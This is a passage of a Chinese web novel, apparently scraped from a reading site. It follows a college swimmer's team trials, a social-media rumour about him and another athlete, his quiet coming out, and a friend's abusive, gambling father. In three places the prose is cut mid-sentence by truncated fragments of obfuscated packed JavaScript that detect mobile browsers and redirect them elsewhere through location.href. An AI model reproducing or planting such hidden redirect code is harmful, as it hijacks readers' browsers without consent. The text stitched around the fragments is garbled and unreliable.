黄教练终于露出笑脸,笑骂一句:“臭小子,短短几天,缺训的成绩还能让你提了将近7秒,挺牛逼啊。” 左屹感觉自己浑身血液沸腾,肾上腺素恨不得快冲破身体一股脑涌出来,他现在满脑子都是要把计时器上的成绩拍下来,晚上和祁言见面的时候给他看看。 他这么一想,也不顾继续哄哄自己的亲教练,抓着计时器就往更衣室跑,“我去拍张照片,马上回来继续训练!” 黄教练看着他的背影摇头笑了笑,他真没见过这么皮的小子,皮得如此自信,如此牛逼。 25. 校队竞技 今天一共模拟考核了四项,除了200米蝶泳成绩一般,另外两项短距离的成绩可以称为登峰造极,超常发挥,进校队是没跑儿了。 下午上完专业课,左屹马不停蹄跑去京西大接祁言一起去餐厅打工。 非京西大的学生进京西大必须得提前实名制预约,当天临时根本抢不到进校名额,左屹只能在学校门口等着祁言出来。 他像一个小朋友迫不及待等着跟家人炫耀考试试卷似的,兴奋得不得了。 等待的时候,他还在脑子里演练着,今天如果是在亚运会上,他以这个成绩站到亚运会领奖台上,给自己的游泳生涯交上一份完美的答卷。 不过,只是站上领奖台不是他的目标,站在国际最高领奖台上唱响国歌才是! 左屹喜滋滋地在京西大学门口徘徊,祁言相隔很远就看到他脸上藏不住的笑容,自己的心情莫名也好了许多。 “小屹,什么事笑这么开心?” 听到祁言爽朗的声音,左屹惊喜回头,“言哥!” 祁言揉上他的发,一股很好闻的木质清香飘进鼻腔,让人顿时感到浑身安心舒适,浮躁的心马上就能平静下来。 左屹拿出手机,翻出早上拍的计时器照片,“你看。” 祁言接过,看了之后眼神充满惊喜,几乎是没有犹豫地脱口而出:“竟然提升了近4秒!” “是啊!这比我高三拿健将的时候快了4秒…”左屹话没说完,突然意识到了什么,抬头问:“言哥,你怎么知道?” 左屹拿健将的那场比赛,祁言已经离开江城了,他怎么可能会知道自己的成绩是多少? 祁言也愣了,过后解释道:“我听关关提过,她说你和李子豪在宿舍讨论过这方面,她有问过我你的游泳成绩在第几梯队。” 左屹拍了下脑门,他想起来自己确实和李子豪说过自己成绩的事,没想到兜兜转转会传到祁言这里来,这个大嘴巴!以后什么都不告诉他了。 “难怪,我说你怎么会知道我成绩的呢。”左屹回道。 祁言弯着眼睛笑着揽上他的肩,往餐厅方向边走边感叹:“你真的很厉害,是月亮湾小院的骄傲。” 左屹脸颊一热,“你才是我们的骄傲,大学神以后逢年过节回去我就给你吆喝个讲座,给院里小孩传授一下你的学习窍门儿。” “我要真这么厉害,怎么没把你的功课教好呢?”祁言笑着说。 提到这,小时候祁言给他和丁文笑补课的画面瞬间浮现出来。 是啊,补课的时候自己全数祁言脸上的小绒毛去了,知识哪过脑子了呢。 左屹想着想着就噗嗤笑出声了,引得祁言好奇。 “笑什么?” “突然想到你刚上初中就跑去跟我妈说我不适合走文化路子,建议我去培养个体育特长。”左屹停下脚步,看了祁言一眼,“言哥,现在想起来真的很谢谢你当年的这个建议,让我不至于变成一个社会废物。” 祁言心里也有所动容,其实那时他并不是因为左屹成绩差才去和宋阿姨说这件事,而是他知道左屹喜欢游泳这个运动,在他那个年纪的小孩放假都在家里看奥特曼,虹猫蓝兔动画片的时候,左屹成天拉着他在家看游泳比赛,还跟他解释一些游泳比赛里的专业名词。 左屹对游泳的热爱远远高过于学习课本知识。 那个时候他只希望左屹能够学习自己喜欢的东西,那样才会真正快乐。 他希望左屹永远都是快快乐乐,咋咋呼呼的。 “小屹,上天赐了你天赋,而你的努力也没有辜负天赋。”祁言眸色深情地看着左屹说,“就算没有我,你也不会成为一个社会废物。” 左屹的心脏又开始强烈跳动起来,他低头“嗯”了一声,赶紧往前走去。 连续几天,左屹和祁言就保持一致的步调,上课、打工、再回家做一顿饭吃,晚上左屹回宿舍睡觉。 冯桑那边,他们也暗暗观察了几天,似乎没有什么不对劲的动静,两人便逐渐专注到自己的事情里。 校队招新分为竞技考核及体能测试,所以要按两天进行,第一天是竞技考核。 当天,祁言特意跟辅导员请了半天假去观赛。 校游泳比赛是学校女生最喜欢看的一项竞技运动,因为男性游泳运动员的身材普遍都八块腹肌,身高肤白,四肢修长。 更何况还有一年级校草左屹的加持,绝对是一场视觉盛宴。 现场有不少女同学特意准备了应援手幅,喊着口号为左屹加油助威。 祁言看这场面,只觉得小孩太招人,男生女生都招,危机重重。 “祁言。”一道熟悉的声音出现,祁言看过去。 是李子豪带着关关过来了,身后还跟着郭敬敬和其他几位舍友。 祁言挪了挪位置,让出自己身边的两个连坐让李子豪和关关坐下,郭敬敬便自然地在祁言另一边空位坐了下来。 郭敬敬没和祁言打招呼,祁言也对他视而不见。 周遭一阵女生的尖叫,是运动员们出场了,第一个考核项目是100米自由。 “左屹左屹,永不言弃,披荆斩棘,所向披靡!” 观众席的女生开始喊起口号,奇怪的是,全场只有为左屹加油助威的口号,没有其他运动员的。 “这就是屹哥在我们学校的人气,你说,这群女同学里会不会出现一位左屹的未来女朋友?”郭敬敬这句话是在对祁言说。 祁言并没有想搭理他的意思,眼神只专注在热身的左屹身上。 郭敬敬却不罢休,又说:“你知道屹哥是直男吧?这辈子珠穆朗玛峰弯了他都不可能弯的,真是可惜了。” 祁言觉得好笑,斜眼瞟他的一眼就像在看一堆垃圾,“你是该觉得可惜,就算小屹不直也轮不到你什么事。” 郭敬敬翻了个白眼,不再说话了。 好不容易平静下来的观众席,这时再次沸腾起来,尖叫声快要震塌游泳场馆。 祁言看下去,原来是左屹热完身对着他们这边举起了自己的食指和中指贴上嘴唇,做了个飞吻的姿势。 其实,左屹的飞吻手势的针对性很强,那方向只是冲着祁言的。 祁言对他会心一笑,身边的李子豪却跳起来大喊:“我操,兄弟,我爱你!” 这道声音吼得太大,吓得左屹缩着脖子一溜烟跑了。 “各就位。” 一声令下,全场观众默契地冷静下来,生怕出一点声音影响到台下的运动员们。 左屹转了转脖颈,在陆地上跳了两下,才戴好泳镜登上第五道出发台。 “take your marks” 左屹弯下身子,做好跳发姿势。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165027|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 哨声一响,比赛开始。 左屹跳发入水,他以自己后腿推进优势,快一步跃入水中,潜泳十五米后左屹领先破水,今天的他冲得很凶,几乎是以肉眼可见的速度拉开了与旁人的距离,无人能跟他齐头并进。 他扎进水中就是一头谁也追赶不上的鲨鱼,凶猛地、不顾一切地往前冲。 祁言紧盯着水里那个从小跟在他身后喊着言哥的小孩,一眨眼竟然成为了海洋里的一头凶猛灰鲭鲨。 来到50米转身点,所有人都屏住呼吸,祁言也不例外。 左屹水下转身丝毫不拖泥带水。 最后10米、5米、1米! 48秒21! 左屹以绝对优势拿到第一名。 观众席再次爆发沸腾的呼喊,今天来看考核比赛的人出奇的多。 “左屹左屹,永不言弃,披荆斩棘,所向披靡!”应援口号再次响起,李子豪和关关也压抑不住内心的激动,跟着喊起来。 左屹回到岸上,脱了泳帽和泳镜,第一时间向祁言那边看过去,发现祁言也正在看自己,他比了个耶的手势高举过头顶,俏皮地晃了晃,然后一路小跑回了更衣室。 和泳池里的那头猛兽相比,似乎刚刚的他只是披了一件鲨鱼的外衣,现在又回到了调皮的左屹本体。 接下来的50米蛙泳,200米蝶泳和1500米自由,毫无疑问,由左屹包揽第一。 不过还是出现了一些小插曲,200米蝶泳是和另一名叫康辰的运动员以相差甚微的时间到达,由于难分伯仲,校方还特地调取了摄像记录,才得出左屹以领先0.5秒触碰池壁的结论获得第一名。 左屹进入京体后,本就以自己的颜值掀起一阵不小的骚动,这次的校泳队考核又以实力征服了广大校友们的心。 甚至有同学将他飞吻、比耶和水里猛如兽的视频做了个反差萌剪辑,在网络上也引起一阵舆论热潮。 考核结束,左屹跟着祁言回他公寓,本来两人是要去餐厅打工的,但是左屹今天游泳太猛,最后发现腰部肌肉有点发酸,说什么祁言都不听,强制拉他回了公寓给他贴了膏药。 左屹趴在沙发上刷微博,突然发现微博热搜上出现了自己的名字,不知道是不是同名同姓的,他好奇点进去一看,哟呵,还真是他。 “我操!”左屹实在没控制住惊呼一声。 这什么鬼东西!! 祁言刚从卫生间出来,以为是他腰痛,赶紧走过来:“腰痛?我带你去医院。” 左屹赶紧住了嘴,默默将手机锁了屏,将头埋到手臂里装死。 祁言担心地问:“怎么了?” 左屹只是摇头,一句话都不说。 这时祁言的手机响了,是关关打来的。 左屹不用想就猜到是什么事,想抢先一步去拿放在茶几上祁言的手机,但因为腰部酸痛,还是慢了一步,被祁言接起了话。 不知道关关在那边说了什么,祁言“嗯”地一声挂断,又在手机上点了点。 左屹紧张兮兮地观察祁言的表情,他也不知道为什么,第六感认为祁言看了会生气。 连着三条刺眼的微博热搜出现在祁言眼前。 #奥运冠军梁一惊现京西迪卡侬# #一心屹意# 爆 #梁一,左屹迪卡侬吃冰淇淋# 26. 微博热搜 点进热搜词条,实时帖子里全是梁一笑着用手帮左屹擦拭唇角冰淇淋的偷拍照片。 往下翻,还有一段被刻意剪辑过后的cp向视频,视频里两人举止亲密,看上去梁一一会搂着左屹的腰,一会揽上左屹的肩,两人有说有笑地逛街,还被加了满屏的粉红泡泡特效。 嗑他们cp的人越来越多,甚至有cp粉为他们开了名为一心屹意的超话…… 点进去一看,cp粉发的帖子一个比一个扎心。 [啊啊啊啊啊,这俩体育系大帅哥也太配了吧!!!照片给我原地锤入坑,这口我先嗑为敬~] [咱家梁一的小男友好帅,身材好棒啊!!] [简直不敢想象我的cp有多配,光是想想两人一起站在领奖台上的样子就苏到爆炸啊~] [豹豹猫猫,我出生了!] 祁言看完,沉默不语。 左屹看不透他心里所想,试探叫了声:“言哥。” “嗯?”祁言的目光从手机移到左屹的脸上。 “那个视频里的搂腰,假的,是错位。”左屹解释道。 祁言:“那天电话里没说你是和他一起去迪卡侬。” “是挂电话之后才说一起去的。” 祁言将手机放回茶几上,点了点头问:“晚饭想吃什么,我去给你做。” 左屹这会说不清楚心里是种什么感觉,祁言的反应似乎过于平淡了点,以至于左屹有点失望,仿佛热搜上只是一件没营养的娱乐瓜,而祁言本身不是个吃瓜人,所以连问都懒得问。 左屹越想越憋屈,就算他在祁言的心里只是朋友,也不该是这样的反应啊! 就不好奇问问他对上热搜这事有什么想法吗? 这会左屹才意识到自己其实不怕他为这件事生气,而是希望祁言的反应能更强烈一些,最好扯着他大吵一架,至少也能给自己一个解释清楚的机会。 他心里堵得慌,随意说了个番茄牛腩烩饭便不再搭理祁言。 祁言来到厨房,将门关上。 他双手撑着大理石台面,小心翼翼地深吸一口气调整心情,心底的醋坛子早就打翻了,不过强撑罢了。 客厅里,左屹的手机差点被亲朋好友们打爆了,他根本没心情接电话,索性开了飞行模式落个清净。 吃饭时,他们两人相对而坐,祁言将自己碗里的牛腩几乎都挑进左屹的碗里,而左屹不知道在回谁的消息,一顿饭吃得心不在焉,磨磨蹭蹭。 “要不说吃瓜群众都是人才,一心屹意这cp名我太喜欢了,哈哈哈。” 是梁一发给左屹的语音,被他用扬声器放了出来。 祁言的眼神瞬间冷了下来,问道:“你们关系这么好,今天考核怎么没看他来。” 左屹肚子里憋着一股气,故意说:“他不方便去人多的地方,在微信上给我加过油了。” “所以你们一直聊微信,吃饭也要聊?”祁言尽量克制语气。 左屹将手机往桌上一放,抬头反问:“不行吗?” “可以。”祁言瞬间没了胃口,起身离开餐桌:“你开心就好。” 见祁言饭都不吃了,左屹认定他是生气了,又低头在手机里打了一串文字,然后一口一口将碗里的烩饭全吃完。 晚上左屹没有回学校,一直坐在沙发上面捣鼓手机,祁言晚饭离桌后就回了房间,没有出来过。 终于,#梁一澄清#的词条登上热搜。 梁一:训练结束和小师弟去买运动器材,偷吃个冰淇淋也能被发现,大家都是行走的监控啊!这下我们俩都要挨教练骂咯~(所以下次再拍能给我加个美颜吗?) 左屹随即转发,“教练,我和师兄再也不敢偷吃甜食啦~明天主动罚跑十个圈[挨打][挨打][挨打]” 一时间,嗑cp的舆论风向变成了讨论运动员们的辛苦,平时他们要严格控制饮食,甜品这些基本是不能碰的,私下偶尔吃点不被发现倒也没事,却被人偷拍发到网上,实在恶劣。网友不禁开始斥责这种行为,呼吁着要给运动员们足够的隐私空间,国家健儿的私生活不该被过分关注。 左屹开心地点开梁一的消息。 [Zorro:谢谢师兄,你救我大命了!!!] [梁一:小case,记得欠我一顿饭啊。] [Zorro:包的。] 没一会,门口有人敲门:“你好,外卖。” 左屹汲着拖鞋,扶着后腰跑去开门,外卖员递了一大袋奇异果给他。他提着去厨房,出来时端了满满一盘切好的奇异果。 然后掏出手机,拍照,发微博动作一气呵成。 左屹端着这盘特意摆盘过的奇异果去主卧敲门,房内祁言并不理会。 “言哥,我进来了啊。”左屹也不等他回应,直接开门进去。 祁言已经洗漱好了,正靠坐在床上刷手机,见左屹进房,眼皮都没抬。 “吃水果不?”左屹盘腿坐到祁言床边地板上,双手捧着盘子,一脸无辜眼地仰头盯着祁言看。 祁言瞥了他一眼,觉得这小孩就是故意来气他的,竟然端了一盘绿色水果进来。 是嫌谁不够绿? “不吃。”祁言冷漠回答。 左屹叉起一小块喂到祁言嘴边:“给个面子尝一块吧,我特意买的,不酸,很甜的。” “拿开。” “哥~”左屹见他就是不吃,便丢进了自己的嘴里,边咀嚼道:“真的很甜。” 祁言抬眉,抿了抿唇,嘴唇上还残留刚刚那块奇异果的清甜。 “言哥,你知道这个水果叫什么名字吗?”左屹问道。 祁言:“猕猴桃。” 左屹摇头。 祁言不知道他葫芦里卖的是什么药,问了句:“那叫什么?” “奇异果。”左屹又叉起一块递给他,“祁言、左屹一起吃的水果,所以叫‘奇异果’。” 瞬间,祁言差点碎成渣的心脏又被人亲手一片一片拾起,然后被温热的掌心捧住,揉捏、再复原。 左屹一脸可惜的模样,“真不吃吗?手都举累了。” 祁言终于张开嘴,叼过那块奇异果。 “好吃不?”左屹瞪着星星眼问。 “甜。” 得到祁言的认可,左屹总算松了口气,他不确定祁言有没有看到两人澄清的那条微博,于是又明里暗里提醒:“微博上挺热闹啊。” 祁言:“看到了。” “看到什么啦?” 左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165028|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屹不知道,祁言手机屏幕上正是他刚刚在客厅发的那条,文字为:“最喜欢的水果:奇异果。”配图是摆成一个大爱心的果盘。 第二天一早,左屹顶着腰伤回学校参加体能测试,体测在健身馆内进行,主要针对核心力量、心肺功能、身体柔韧性进行一对一测试。 出门前,祁言再三叮嘱,在说到第四遍“注意腰伤”的时候,左屹终于受不了比了个噤声手势道:“嘘,祁言同志,再说就啰嗦了。” 哪有人追着提醒风华正茂的男青年腰伤了的啊!! 祁言笑着摇了摇头,“晚上回公寓吧,我给你换药膏。” “好,下课我去你学校门口等,一起去餐厅啊。”左屹算准祁言不会同意他去打工,说完一溜烟就跑了。 体测时,左屹咬着牙坚持完成,成绩虽然有受影响,但好在还是顺利过关。 进入校队已经是确定下来的事,左屹从人群里拢到黄教练身边,调皮地拿肩膀撞了他一下,自豪地说:“教练,我考进校队了。” “臭小子,这才哪到哪,就骄傲上了?”黄教练翻了个白眼,又看了眼手上的左屹入校和这一次的体测表对比,皱了皱眉问:“整体数据下滑了点,不应该啊。” 左屹觉得自己的腰伤不过昨天考核的时候用力过猛,肌肉有点拉伤了,但心里清楚没什么大事便没有主动上报这事儿。 谁知黄教练将他看得透透的,竟问:“是不是哪里伤了?” “哎呀,没啥大事,就后腰有点肌肉拉伤,今天没敢用全力。” 左屹的话说得有多轻飘,黄教练的脸就有多黑,他将左屹拉到人少的一边,语重心长道:“你这小子太不让人省心了,运动员受伤能是小事吗?这种事发生了应该第一时间上报给我,受伤轻则回去休息,重则给我滚去医院里里外外检查一遍。运动员的荣誉重要,健康更重要,不要为了荣誉和成绩不顾身体,你现在还年轻,等落下病根老了有你丫受的。” 左屹渐渐开始明白,黄教练为什么可以带出梁一那样一名脚踏实地,不骄不躁的世界冠军。 因为黄教练有血性也有人情,不将名利放在第一位,他是真的为学生好。 左屹比了军礼,“Yes sir,以后再发生这种情况,我一定立马上报绝不隐瞒。” “今明两天水下训练改为陆上有氧,这两天的训练计划我会根据你的伤势情况做调整,不会太重。”说着,黄教练掀开左屹的衣服,“让我看看伤哪了?哟,这膏药贴得不错啊。” 那是,我言哥亲自给我贴的,左屹暗爽,“膏药嘛,随便贴贴罢了。” “对了,你梁一师兄下个月要去国外集训备战明年奥运会,你小子抓紧时间跟人家多讨教讨教。”黄教练笑着又补充说:“不许偷吃冰淇淋啊。” “晓得啦!” 下午专业课,左屹总算是逮住李子豪,这哥们自从谈了恋爱之后连人影都见不着。 讲台上,教授讲着知识点,座位上左屹拉着李子豪衣袖软磨硬泡。 “豪哥,豪哥,待会我就耽误你一个小时时间,你陪我下呗。” 李子豪耳朵都要起茧了,“陪陪陪,你先说到底要我陪你去干啥?” 左屹一脸坏笑,“陪我去,买车!” 27. 后厨出柜 “不行,这辆不够飒。” “颜色太娘炮了。” “这价格也太贵了,性价比不高。” “这辆典型的中看不中用。” “我说祖宗,你是我的活祖宗,咱都看了二十多辆了,跑了四家店,到底有没有一辆让你满意的车。”李子豪拖着疲累的双脚,跟在左屹身后问。 跑十公里都不带这么累的。 左屹思考了一下,他也没有个准确的目标,“反正合眼缘了就买,没合眼缘就再看看呗。” “天塌了!”李子豪夸张地抱着脑袋,仰天大喊,“老大,你买辆电动车到底要合什么眼缘啊!” 左屹拉着李子豪进了一家新店,眼睛里顿时发了光,“有了,我要这辆。” 半个小时后,京西大校门口出现了一个超级大帅哥,单手抱一顶哆啦A梦脑袋头盔,慵懒地靠坐在一辆水蓝色小绵羊电动车上,车头把手上还挂着一个带耳朵的粉色小猪头盔。 左屹从外套口袋里掏出手机看了眼时间,祁言已经下课有一会了。 一抬头,远处人群里祁言穿着白色棒球外套,单肩挎着黑色书包正朝校门走来。 左屹心脏猛抖了两下,浑身都跟着颤了颤。 心道,不愧是小爷看上的男人,每看一眼都让会人心动一次。 左屹赶紧将头盔戴起来,想给他哥一个惊喜。祁言不是近视,但是站在门口望了半天也没看见左屹的人影,倒是察觉到有个坐电动车上的男生戴着幼稚的哆啦A梦头盔,傻呆呆地对着自己招手。 祁言皱了皱眉头,回头确认自己身后没有人,那个奇怪的男生就是在对自己招手,他往旁边挪了两步避开,然后在手机上和左屹发消息。 [1:小屹,在哪?] [Zorro:你面前。] “哥,我在这呢。” 左屹的声音因为带了头盔所以有点沉闷,祁言惊诧但不形于色,心里笑翻了天,表面云淡风轻。 他没想到那个傻呆呆的男生竟然是左屹。 “哪里来的电动车?”祁言忍着笑问。 左屹取下车头的小猪头盔,递给祁言,“我买的啊,会骑这车吗?” 祁言接过头盔,“不难。” “那你载我。”左屹往后一坐,两条大长腿撑着地面,将前面的驾驶位让了出来。 祁言将书包脱下递给左屹,自己戴上头盔,然后坐上驾驶位将车发动。 “呜呼~小猪仔冲呀!!”左屹开心地大喊。 他们都忘了昨天左屹和梁一上微博热搜的事,以至于左屹一到餐厅后厨,他就被后厨同事们围住了。 “我靠,热搜上那个真的是你啊兄弟?”其中一位男厨师颠勺颠到一半八卦喊道。 左屹否认:“不是。” 一男生拿出热搜那张照片比了比,“明明就是你啊。” “那你还问?”左屹无语。 又有人问:“你是运动员?拿过冠军奖牌吗?” “不是,我餐厅洗盘子的,只拿过清洁球。” “兄弟,大方点嘛,我们会帮你保密的,难得全民吃瓜的瓜主就在身边,我们肯定好奇噻。” 左屹瘪嘴,他今天心情好,不想和同事们计较,本身子虚乌有的事,也没什么不好直说的。 “行吧,小爷这个瓜主今儿就让大家好好吃个瓜,想问什么就问吧。” 厨师长问:“你一个搞体育的,家里不缺钱吧,为啥来俺们后厨刷盘子啊?” 左屹笑着反问:“那你做后厨是为了啥?” 厨师长:“俺为了娶老婆啊,俺没文化,这活钱多。” 左屹:“我也是啊。” “嘁,你才多大啊,毛都没长齐嘞还娶老婆。”另一位备菜的老师傅调侃道。 左屹呵一声怼道:“咋了?早熟不行啊。” “那你和梁一是不是那种关系?”冯桑突然问。 左屹挺意外的,他没想到冯桑平时看起来那么专注自己世界的人也对吃瓜这种事感兴趣。 “当然不是,他是我师兄。”左屹回答。 祁言担心左屹的腰伤,刚进后厨想问问他情况,就撞见后厨一片欢声笑语,这时恰好有人问左屹:“你喜欢男的还是女的?” 左屹三言两语跟大家打成了一片,也不吝啬回答这种比较冒犯的问题,大声回答:“我当然是喜欢……” 祁言止住脚步,往一边躲去,他也想知道这个答案。。 见左屹卖关子,厨师长停了手里的活,“你就说吧,现在这社会开放得很嘞,俺们不介意的,兄弟们是吧?” 有人附和道:“是啊,我都谈了俩女朋友呢。” 大家哄笑,左屹笑骂:“你挺渣啊,你个渣男。” “你听他吹呢,他哪有什么女朋友,宿舍里硅胶娃娃是有俩。”另一人催促道:“快说呀,左屹。” “好好好,我喜欢男的行了吧?”左屹笑着回答出来。 祁言听到这个回答浑身血液倒流,呼吸也乱了节奏。 趁大家调笑起哄间,左屹又说:“这么说也不对,其实我对男的不感兴趣,只是我喜欢的那个人他刚好是个男生,所以我只喜欢他,如果不是他我可能不会喜欢任何人。” “哟,还是个纯情小子。” “那可不?说好给我保密的啊你们,不许说出去。” 祁言听完完整的答案,转身回到了前厅。 莫名的,他心里好像溢出了某种猜想,但这个猜想万一不准确带来的后果他暂时没有勇气承担,所以不急,他有时间慢慢去验证。 就像天文学探索宇宙,每获得一个新的发现都不能着急得出结论,而是要耐心地去观测、去分析、去实验、去研究。 这个时间可能需要花费很久很久,但是将假设一步一步验证最终获得结果,这个过程祁言觉得很有意思。 左屹在后厨哼着歌刷盘子,他的快乐也感染到了冯桑。 “你今天的心情好像很好?”冯桑难得主动和他说话,平时就算一起吃饭,也是惜字如金。 左屹很乐意和他聊天,“当然开心啊,”他声音小了几度,用仅有两个人的声音说:“你不知道,今天是我第一次当众我有喜欢的人,而且喜欢的还是个男的。” 冯桑擦着酒杯,夸赞道:“你很勇敢。” “害,你别说这种出柜的感觉还真他妈爽,我这是叫出柜吧?” 冯桑也拿不准,“应该算是吧。” 一听,左屹更高兴了,他也不知道为什么今天突然做了这么件事,不去顾及旁人的眼光,也不去思考后果,想说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15165029|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就说,想做就做了。 大家到底会不会替他保守这个秘密,对他而言似乎也无所谓。 这令他有一种任督二脉瞬间被打通了一般的感觉,很爽,很刺激,很彻底。 反正要是被祁言知道了,若是他不能接受,左屹就说自己是开玩笑的一笔带过。 他现在的想法和刚来京西的时候截然不同,那个时候左屹畏首畏尾,生怕被人发现他那点对发小不正常的小心思,更怕祁言会因此远离他。 可是现在,左屹越来越觉得他和祁言是属于彼此需要,而不是他单方面渴求。 祁言或许对他没有男男之情,可也足够包容他,所以左屹想在祁言的世界里再放肆一点。 他贪恋这样的安全感,哪怕随时梦会醒,但及时行过乐,知足了。 左屹内心始终有一根隐隐的刺,时不时会提醒他不要沦陷进去。 毕竟,祁言曾亲口承认自己有了喜欢的人。 一个月后,入冬。 京西的初冬特别寒冷,已经要穿上厚重的毛衣御寒,这一个月左屹平时都住在宿舍里,周末会去祁言的公寓住。 电动车大部分时间都是祁言骑着,所以他也担任了对左屹的接送任务,下午没训练的时候祁言会去京体接左屹到餐厅打工,下班送了左屹到宿舍再骑回公寓,循环往复、周而复始、乐此不疲。 这天,电动车不知道是不是因为天气太冷启动不了,只能停在公寓车棚里。 这一个月左屹和冯桑的关系近了许多才发现其实他也是一个渴望交朋友的人,他们相熟之后话也多了起来,还能互相打趣开玩笑。 就连祁言都能和他聊上几句。 晚上下班后,左屹的手机落在餐厅里了,祁言陪他回餐厅找,冯桑则在商场外等着和左屹一起回学校。 谁料,左屹他们一出商场就碰到一个醉酒的男人在人行道上和冯桑拉扯推搡。 冯桑唯唯诺诺地好像很害怕,一直对那个醉汉说:“我真的没有钱了。” “放你娘的屁,老子知道你今天发工资,赶紧拿来。”那醉汉说着就上手要去冯桑外套口袋。 冯桑死死护着衣服,“我打工的钱全给你还了债,你总得给我留点学费。” “我操你妈的,你个败家玩意儿,上什么b大学浪费时间,不如多打几份工,明天老子就给你去办休学。”醉酒男人嘴里骂骂咧咧。 左屹看不下去了,但手臂被祁言拉着,“言哥,你别拦着我,我他妈上去干死他。” 祁言:“这是冯桑家事,你现在管不了,再等等看。” 冯桑再也受不了了,崩溃道:“冯志行,你不要再逼我了,逼死我以后没人给你还赌债!” 醉汉男人被瞬间激怒,“操你妈的,老子看你是皮又痒了,敢跟你老子当街大喊大叫,妈的欠抽是不是。”他抽出裤腰上的皮带就狠狠往冯桑身上甩。 冯桑却像早已习惯这样,躲也不躲,只是一味地咬着嘴唇死死盯着抽打他的人。 祁言举着手机,将刚刚发生的一切都拍了下来,便不再拦着左屹。 左屹一个愤怒,对着醉汉冲上去就是一脚,“操!” 冯志行被踢倒在地。 左屹恶狠狠地指着地上的醉汉,怒吼道:“你他妈再抽他一下看看呢?” 28.我帮你洗 “哎哟喂,救命啊,打人啦,有人打老人啊,救命啊!” 冯志行看他们人多,便躺在地上撒泼叫嚷,一惊一乍喊着要路人帮忙报警。 可惜天气寒冷路上压根没几个行人,没有观众驻足看他卖惨装可怜。 祁言将冯志行拿皮带抽打冯桑的视频播放出来,对他说:“你刚刚的施暴行为已经全部被拍下来了,你以后再对冯桑动手,我会将这个视频交给警方。我想,一个赌徒应该经不起警方调查。” 听到要报警,冯志行立马怂了,他从地上爬起来,朝地上吐了口唾沫,边跑边骂:“呸,□□崽子,你们给老子等着。” “等着送你蹲局子啊?臭傻逼。”左屹对冯志行的背影讽刺道。 ”冯志行跑远了还不忘回头还嘴,“你妈的,老子记住你了!” 冯志行走后,左屹赶紧上前去检查冯桑身上刚刚被皮带抽打过的地方,“痛不痛?” 冯桑推了推鼻梁上的眼镜,木讷地回答:“不痛,衣服厚。” 左屹这才放心,“你爸他怎么找到这里来了?” 祁言:“今天工资日。” “操!老畜生,以前你身上的伤都是他弄的对不对?”左屹气不打一处来,“钱没被他抢走吧?” 冯桑的手一直紧紧抓着外套口袋,他摇了摇头。 按理说现在工资都是打到银行卡里,但是冯志行要钱的时候嫌去银行取款麻烦,冯桑才特意和经理申请了领现金工资。 祁言坚持将他们送到宿舍楼下自己才回家。 左屹目送祁言的背影消失在夜色中,才拉住准备进楼的冯桑,“你爸再来找你就跟我说。” 冯桑反手抓住左屹的手臂,小心翼翼叮嘱道:“左屹,你是个好人,可冯志行他是个无赖,我的事你别管了。” “无赖怎么了?我们拿着言哥拍的视频去报警,给他关进去。” “你以为我没报过警吗?”冯桑焦虑地抓着头发,“这是我的命,我躲不掉,但是你没必要惹上这样一个人,能理解吗?” 左屹愣在原地,其实他不能理解,可是却说不出口。 他做不到眼睁睁看着冯桑的大好人生陷入泥沼却不去拉一把,哪怕自己身上也会沾染一些泥土,不总有办法能清洗干净吗? 怕什么呢? “冯桑,不要推开身边想要帮助你的人,会有办法的。”左屹蹙着眉,“你的命也是你自己说了算,和冯志行无关,你越怕他,那人渣越阴魂不散。” “我……”冯桑取下眼镜,慌乱地用手背遮住眼睛,不想让左屹看到自己狼狈哭泣的样子。 “你们不上楼站这干嘛?” 左屹看是郭敬敬回来了,不动声色地挪了到冯桑身前,将他遮挡住。 左屹对郭敬敬说:“上去啊,我们聊点工作上的事,一会就回来。” “哦,那你们看着时间,马上要熄灯了。”郭敬敬觉得奇怪,他明明看见冯桑哭了,但也没说什么先进了宿舍楼。 冯桑很快就调整好了情绪,朝左屹扯了扯嘴角,“谢谢。” 左屹就不喜欢这些成天将谢谢、对不起挂在嘴边的人,显得多有距离感。 他一把揽过冯桑的肩膀带着走,“打住啊,我们没那么不熟,你爸那边从现在开始别再给钱了,有事跟我说,都是兄弟。” 出于身高优势,冯桑像是被人夹在怀里拖,挺奇怪的,他扭扭捏捏挣脱开:“嗯。” 左屹笑嘻嘻地嘲笑他别扭。 过了几天,梁一和左屹发消息说下周要飞澳洲,大概要集训三个月。 梁一上个月接了体育类综艺,左屹欠他的那顿饭一直没约上时间,好不容易等到他有空了便赶紧约到自己打工的餐厅补上。 左屹特意跟经理申请留了间半封闭式的小包厢,其实他把梁一约到这里也有自己的私心。 